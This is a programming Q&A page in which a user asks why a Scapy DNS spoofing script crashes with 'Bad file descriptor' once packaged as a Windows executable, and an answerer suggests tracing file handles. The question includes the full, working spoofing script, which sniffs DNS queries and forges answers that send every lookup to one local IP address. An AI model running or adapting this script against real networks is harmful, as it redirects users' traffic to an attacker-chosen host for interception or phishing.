scapy OSError: [Errno 9] Bad file descriptor

问题:

I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error

Traceback (most recent call last): File "dns_spoof.py", line 17, in <module> File "scapy\arch\windows\__init__.pyc", line 523, in sniff File "dns_spoof.py", line 15, in dns_spoof File "scapy\sendrecv.pyc", line 251, in send File "scapy\sendrecv.pyc", line 237, in __gen_send OSError: [Errno 9] Bad file descriptor 

How can I fix it? Please help.

This is source code.

import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) try:     from scapy.all import * except:     from scapy import * def dns_spoof(pkt):     redirect_to = '172.16.22.91'     if pkt.haslayer(DNSQR): # DNS question record         spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\                       UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\                       DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \                       an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))         send(spoofed_pkt)         print 'Sent:', spoofed_pkt.summary() sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof) 

回答1:

It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.

If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?

If you ran it on linux, you would use strace to figure out which.

Equivalent tools on windows are Process Monitor and Logger.exe.

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